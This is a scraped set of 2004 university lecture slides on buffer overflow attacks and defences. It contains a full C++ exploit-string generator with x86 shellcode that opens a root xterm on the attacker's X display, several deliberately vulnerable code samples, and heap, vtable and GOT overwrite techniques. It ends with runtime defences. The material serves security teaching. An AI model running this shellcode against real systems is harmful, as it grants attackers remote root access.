buffer overflow vulnerabilities
play

Buffer Overflow Vulnerabilities Exploits and Defensive Techniques - PowerPoint PPT Presentation

Buffer Overflow Vulnerabilities Exploits and Defensive Techniques Adam Butcher and Peter Buchlovsky 8. March 2004 University of Birmingham 1 Contents 1. Call-stacks, shellcode, gets 2. Exploits stack-based, heap-based 3. Defensive


  1. Smashing the stack high address Caller runs fp . . . push return address; sp address of buffer Callee runs push fp; fp := sp; // allocate space for buffer shellcode sp := sp + sizeof(buffer); stack grows gets(buffer); this way // user enters shellcode // gets returns sp := fp; nop’s fp := pop(); pc := pop(); low address Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 10

  2. Smashing the stack high address Caller runs fp . . . push return address; sp address of buffer Callee runs push fp; fp := sp; // allocate space for buffer shellcode sp := sp + sizeof(buffer); stack grows gets(buffer); this way // user enters shellcode // gets returns sp := fp; nop’s fp := pop(); pc := pop(); low address Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 10

  3. Smashing the stack high address Caller runs fp . . . push return address; sp address of buffer Callee runs pc push fp; fp := sp; // allocate space for buffer shellcode sp := sp + sizeof(buffer); stack grows gets(buffer); this way // user enters shellcode // gets returns sp := fp; nop’s fp := pop(); pc := pop(); low address Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 10

  4. Smashing the stack high address Caller runs fp . . . push return address; sp address of buffer Callee runs pc push fp; fp := sp; // allocate space for buffer shellcode sp := sp + sizeof(buffer); stack grows gets(buffer); this way // user enters shellcode // gets returns sp := fp; nop’s fp := pop(); pc := pop(); low address Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 10

  5. Other vulnerable functions • strcpy – use strncpy Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 11

  6. Other vulnerable functions • strcpy – use strncpy • But use it correctly Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 11

  7. Other vulnerable functions • strcpy – use strncpy • But use it correctly • The C++ iostreams library Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 11

  8. Frame-pointer overwrite • To locate the return address a function looks at fp + offset • Alter the fp and the function will jump to our shellcode Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 12

  9. Frame-pointer overwrite • To locate the return address a function looks at fp + offset • Alter the fp and the function will jump to our shellcode • Problem: the fp is stored in a register Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 12

  10. Frame-pointer overwrite • To locate the return address a function looks at fp + offset • Alter the fp and the function will jump to our shellcode • Problem: the fp is stored in a register • So we overwrite the saved fp instead • The callee function returns normally but the caller now has the wrong fp Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 12

  11. Return-into-libc • What if the stack is not executable? Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 13

  12. Return-into-libc • What if the stack is not executable? • We must get shellcode into the data segment, but how? Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 13

  13. Return-into-libc • What if the stack is not executable? • We must get shellcode into the data segment, but how? • Overwrite return address with the address of a libc function, strcpy Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 13

  14. Return-into-libc • What if the stack is not executable? • We must get shellcode into the data segment, but how? • Overwrite return address with the address of a libc function, strcpy • Supply it with the address of the data segment (twice) and address of the shellcode Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 13

  15. Non-terminated adjacent memory spaces void main(int argc, char **argv) { char buf1[1024]; char buf2[256]; strncpy(buf1, argv[1], 1024); strncpy(buf2, argv[2], 256); ... func(buf2); } void func(char *p) { char buf3[263]; sprintf(buf3,"%s",p); } Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 14

  16. Stack-based Overflow Demonstration 1. A vulnerable server run as root and a string sent by a normal user to the server. 2. Targetted at Intel x86 architectures running GNU/Linux 3. Causes the server program to execute an xterm and display it via the attackers X server. 4. Gives the attacker a root xterm on the target. Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 15

  17. Stack-based Overflow Demonstration A Vulnerable Server 1. Two versions of the server written in C and C++ 2. Simply reads a string from a named pipe into a 128 byte buffer Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 16

  18. Stack-based Overflow Demonstration A Vulnerable Server 1. Two versions of the server written in C and C++ 2. Simply reads a string from a named pipe into a 128 byte buffer 3. C version behaves like gets () 4. C++ version uses std::fstream . More picky, will stop reading at any white space Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 16

  19. Stack-based Overflow Demonstration An Exploit String Generator 1. Guesses a target address based on its own stack pointer Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 17

  20. Stack-based Overflow Demonstration An Exploit String Generator 1. Guesses a target address based on its own stack pointer 2. Builds a string containing the following: Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 17

  21. Stack-based Overflow Demonstration An Exploit String Generator 1. Guesses a target address based on its own stack pointer 2. Builds a string containing the following: (a) A lead up of n NOPs (b) m bytes of machine code to execute the xterm and show on our (the attacker’s) X display (c) r bytes filled with copies of the target address Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 17

  22. Stack-based Overflow Demonstration An Exploit String Generator (2) The generated string needs to: Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 18

  23. Stack-based Overflow Demonstration An Exploit String Generator (2) The generated string needs to: 1. Contain no whitespace. (to work against std::fstream ’s extraction operator) Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 18

  24. Stack-based Overflow Demonstration An Exploit String Generator (2) The generated string needs to: 1. Contain no whitespace. (to work against std::fstream ’s extraction operator) 2. Contain a correctly aligned target address. Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 18

  25. Stack-based Overflow Demonstration An Exploit String Generator (3) The generated string needs to: 3. Be long enough to overfill the target’s buffer leaving the assumed address in the return address field in the stack. Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 19

  26. Stack-based Overflow Demonstration An Exploit String Generator (3) The generated string needs to: 3. Be long enough to overfill the target’s buffer leaving the assumed address in the return address field in the stack. 4. Contain enough NOPs to give a reasonable margin of error for guessing the buffer’s address. Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 19

  27. Stack-based Overflow Demonstration An Exploit String Generator (4) So that gets our machine code running, BUT : Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 20

  28. Stack-based Overflow Demonstration An Exploit String Generator (4) So that gets our machine code running, BUT : 1. We use the system call execve (), which needs to know the absolute address of the program name we want to run, and absolute pointers to the addresses of any environment variables and arguments. Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 20

  29. Stack-based Overflow Demonstration An Exploit String Generator (4) So that gets our machine code running, BUT : 1. We use the system call execve (), which needs to know the absolute address of the program name we want to run, and absolute pointers to the addresses of any environment variables and arguments. 2. So we use a clever trick... Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 20

  30. Stack-based Overflow Demonstration An Exploit String Generator (4) So that gets our machine code running, BUT : 1. We use the system call execve (), which needs to know the absolute address of the program name we want to run, and absolute pointers to the addresses of any environment variables and arguments. 2. So we use a clever trick... lets look at the code! Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 20

  31. 005 #define DEFAULT CODE SIZE (128) 006 #define DEFAULT RETURN SIZE (32) 007 #define DEFAULT ALIGNMENT (0) 008 #define DEFAULT TARGET OFFSET (0) 010 #define NOP (0x90) 011 012 const char g acLinuxIntelCode[] = " \ xeb \ x27" 013 // jmp 0x27 (39) " \ x5e" 014 // popl %esi 015 " \ x8d \ x46 \ x15" 016 // leal 0x15(%esi),%eax " \ x89 \ x46 \ x29" 017 // movl %eax,0x29(%esi) 018 " \ x31 \ xc0" 019 // xorl %eax,%eax " \ x89 \ x46 \ x2d" 020 // movl %eax,0x2d(%esi) 021 " \ x88 \ x46 \ x14" 022 // movb %eax,0x14(%esi) " \ x88 \ x46 \ x25" 023 // movb %eax,0x25(%esi) Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 21

  32. 024 " \ xb0 \ xfb" 025 // movb $0xfb,%al " \ x24 \ x0f" 026 // andb $0x0f,%al " \ x89 \ xf3" 027 // movl %esi,%ebx " \ x8d \ x4e \ x2d" 028 // leal 0x2d(%esi),%ecx " \ x8d \ x56 \ x29" 029 // leal 0x29(%esi),%edx " \ xcd \ x80" 030 // int $0x80 031 " \ x31 \ xdb" 032 // xorl %ebx,%ebx " \ x89 \ xd8" 033 // movl %ebx,%eax " \ x40" 034 // inc %eax " \ xcd \ x80" 035 // int $0x80 036 " \ xe8 \ xd4 \ xff \ xff \ xff" 037 // call -0x2c (-44) 038 "/usr/X11R6/bin/xterm@DISPLAY=sphere:0@"; 039 075 int main( int argc, char ∗∗ argv ) 076 { Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 22

  33. 077 unsigned int uiCodeSize = DEFAULT CODE SIZE; 078 unsigned int uiReturnSize = DEFAULT RETURN SIZE; 079 unsigned char ucAlignment = DEFAULT ALIGNMENT; 080 int iTargetOffset = DEFAULT TARGET OFFSET; 081 082 unsigned long ulTargetAddress = GetIntelEspRegister(); 083 084 if( argc > 1 ) uiCodeSize = strtoul( argv[1],0,0 ); 085 if( argc > 2 ) uiReturnSize = strtoul( argv[2],0,0 ); 086 if( argc > 3 ) ucAlignment = strtoul( argv[3],0,0 ) % 4; 087 if( argc > 4 ) iTargetOffset = strtol( argv[4],0,0 ); 088 089 unsigned int uiAttackSize = uiCodeSize + uiReturnSize + 1; 090 char ∗ pcStringBuffer = new char[ uiAttackSize ]; 091 092 107 Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 23

  34. 108 unsigned int uiProgramLength = strlen( g acLinuxIntelCode ); 109 int iPrependNopCount = uiCodeSize - uiProgramLength; 110 115 118 if( iPrependNopCount < 0 ) { 119 cerr << " \ n ∗∗∗ Input Error ∗∗∗ " 120 " \ nMachine code program too big for attack 121 buffer \ n"; 122 delete[] pcStringBuffer; 123 return 20; } ; 124 125 126 // now we can proceed with creating the string. 127 // char ∗ pcLoc = pcStringBuffer; 128 Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 24

  35. 129 130 // first the NOP leading 131 // 132 memset( pcLoc, NOP, iPrependNopCount ); 133 pcLoc += iPrependNopCount; 134 135 // now the machine code 136 // 137 memcpy( pcLoc, g acLinuxIntelCode, uiProgramLength ); 138 pcLoc += uiProgramLength; 139 140 // now our aligned assumed return address as many times 141 // as it will fit in uiReturnSize bytes. 142 // 143 while( uiReturnSize-- ) ∗ pcLoc++ = ((char ∗ )&ulTargetAddress) 144 145 [ ucAlignment = ucAlignment++ % 4 ]; 146 Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 25

  36. 147 // add null terminator ∗ pcLoc = 0; 148 149 150 // print a hex dump to stderr 151 PrintBuffer( pcStringBuffer, uiAttackSize ); 152 153 // write the string to stdout 154 cout << pcStringBuffer << flush; 155 156 // say that its been done 157 cerr << endl << dec << uiAttackSize << " bytes of pcStringBuffer written to stdout. \ n \ n"; 158 159 160 // cleanup 161 delete[] pcStringBuffer; 162 return 0; 163 } ; 164 Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 26

  37. Practical Demonstration Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 27

  38. Overflowing the heap 1. Targets function pointers and offsets rather than stack frame Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 28

  39. Overflowing the heap 1. Targets function pointers and offsets rather than stack frame 2. Can have more global impact than stack attacks Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 28

  40. Overflowing the heap 1. Targets function pointers and offsets rather than stack frame 2. Can have more global impact than stack attacks 3. Can alter data to bss “sections” in the executable Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 28

  41. Overflowing the heap 1. Targets function pointers and offsets rather than stack frame 2. Can have more global impact than stack attacks 3. Can alter data to bss “sections” in the executable 4. Many heap exploits are architecture independent Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 28

  42. Overflowing the heap 1. Targets function pointers and offsets rather than stack frame 2. Can have more global impact than stack attacks 3. Can alter data to bss “sections” in the executable 4. Many heap exploits are architecture independent 1 1 save for byte order changes. Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 28

  43. Overflowing the heap (2) 5. Can exploit polymorphism mechanism in C++ Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 29

  44. Overflowing the heap (2) 5. Can exploit polymorphism mechanism in C++ 6. Can exploit malloc ()’s internal data structure Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 29

  45. Overflowing the heap (2) 5. Can exploit polymorphism mechanism in C++ 6. Can exploit malloc ()’s internal data structure 7. Can indirectly manipulate control flow Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 29

  46. Function pointers 001 typedef int ( ∗ BinaryFunction)(int,int); 002 003 char g acBuffer[64]; 004 BinaryFunction g pfnFunction = 0; 005 006 main() 007 { 008 ... 009 std::cin >> g acBuffer; 010 iResult = g pfnFunction( iA, iB ); 011 ... 012 } ; Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 30

  47. Function pointers (2) 1. When will the attack manifest? Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 31

  48. Function pointers (2) 1. When will the attack manifest? 2. Function pointer attacks are not restricted to current scope like stack attacks. What does this mean? Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 31

  49. Function pointers (2) 1. When will the attack manifest? 2. Function pointer attacks are not restricted to current scope like stack attacks. What does this mean? 3. In the above example, the pointer g pfnFunction is global. Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 31

  50. Function pointers (2) 1. When will the attack manifest? 2. Function pointer attacks are not restricted to current scope like stack attacks. What does this mean? 3. In the above example, the pointer g pfnFunction is global. 4. It may be corrupted by an overflow in one function then called by another. Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 31

  51. C++ Polymorphism 001 class Vulnerable : public SomeBase 002 { 003 public: 004 char m acBuffer[32]; 005 virtual void PolymorphicFunction(); 006 } ; 1. Use VPTR stored in object instance. Hidden member variable. Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 32

  52. C++ Polymorphism 001 class Vulnerable : public SomeBase 002 { 003 public: 004 char m acBuffer[32]; 005 virtual void PolymorphicFunction(); 006 } ; 1. Use VPTR stored in object instance. Hidden member variable. 2. Points to VTABLE of polymorphic functions. Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 32

  53. 008 main() 009 { 010 ... 011 Vulnerable k; 012 std::cin >> k.m acBuffer; 013 k.PolymorphicFunction(); 014 ... 015 } ; 3. Exploited by creating a fake VTABLE with all entries pointing to our machine code. Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 33

  54. 008 main() 009 { 010 ... 011 Vulnerable k; 012 std::cin >> k.m acBuffer; 013 k.PolymorphicFunction(); 014 ... 015 } ; 3. Exploited by creating a fake VTABLE with all entries pointing to our machine code. 4. Overflow a member buffer to make VPTR point to our table. Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 33

  55. Executable sections (Based on Executable and Linking Format) 1. Procedure Linking Table (PLT) 2. Global Offset Table (GOT) 3. Initializaiton and Termination (init/fini) 4. Constructors and Destructors (ctors/dtors) 5. BSS (Uninitialized data section) Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 34

  56. Executable sections Exploits Section order (from low memory to high): 1. .init Startup 7. .tbss Uninit’d Thread Data 2. .text String 8. .ctors Constructors 3. .fini Shutdown 9. .dtors Destructors 4. .rodata Read Only 10. .got Global Offset Table 5. .data Init’d Data 11. .bss Uninit’d Data 6. .tdata Init’d Thread Data Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 35

  57. Executable sections Exploits (2) 1. PLT stores jumps to functions in the Global Offset Table 2. User functions call these PLT “proxy-functions” Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 36

  58. Executable sections Exploits (2) 1. PLT stores jumps to functions in the Global Offset Table 2. User functions call these PLT “proxy-functions” 3. Can we overflow the GOT? Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 36

  59. Executable sections Exploits (2) 1. PLT stores jumps to functions in the Global Offset Table 2. User functions call these PLT “proxy-functions” 3. Can we overflow the GOT? Yes Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 36

  60. Executable sections Exploits (4) 1. GNU Compiler Collection provides attribute 2. To tag functions as constructors or destructors Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 37

  61. Executable sections Exploits (4) 1. GNU Compiler Collection provides attribute 2. To tag functions as constructors or destructors 3. Destructors are stored in the .dtors section Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 37

  62. Executable sections Exploits (4) 1. GNU Compiler Collection provides attribute 2. To tag functions as constructors or destructors 3. Destructors are stored in the .dtors section 4. All that is needed is an overflow from the .data section to overwrite a pointer to be called at destruction time. Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 37

  63. Defensive techniques 1. Run-time detection 2. Static analysis 3. Combined runtime/static checking Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 38

  64. Run-time Solutions Solution’s can attempt to fix the problems at three different levels: 2 1. The bug/overflow stage. Where a buffer is overwritten passed its bounds. 2 http://www.wntrmute.com/docs/hack/w00w00 on heap overflows.html Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 39

  65. Run-time Solutions Solution’s can attempt to fix the problems at three different levels: 2. The attack activation stage. Data is corrupt but application still has control. Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 40

  66. Run-time Solutions Solution’s can attempt to fix the problems at three different levels: 3. The seized stage . Control has been redirected to attack code. Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 41

  67. Run-time Solutions Stack Solutions 1. StackGuard inserts a sentinel value (or canary word) between the data buffer and the return address. 2. The canary can be checked at run-time. Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 42

  68. Run-time Solutions Stack Solutions 1. StackGuard inserts a sentinel value (or canary word) between the data buffer and the return address. 2. The canary can be checked at run-time. 3. StackShield, upon calling a function copies the return address into an non-overflowable area of memory. 4. Therefore the return address cannot be altered. Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 42

  69. Run-time Solutions Stack Solutions (2) 1. Libsafe is a middle-man between a run-time program and the C library. Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 43

  70. Run-time Solutions Stack Solutions (2) 1. Libsafe is a middle-man between a run-time program and the C library. 2. It implements versions of strcpy , memcpy and related functions. 3. It will not allow memory copies using these functions outside the range of the current stack frame. Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 43

  71. Run-time Solutions Stack Solutions (3) 1. StackGuard and StackShield are GCC compiler extensions. Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 44

  72. Run-time Solutions Stack Solutions (3) 1. StackGuard and StackShield are GCC compiler extensions. 2. Programs have to be recompiled with them enabled. 3. Libsafe does not require recompilation, but only protects a few “unsafe” C library functions. Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 44

  73. Run-time Solutions Stack Solutions (4) 1. Non-executable stack would be useful. Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 45

Recommend


More recommend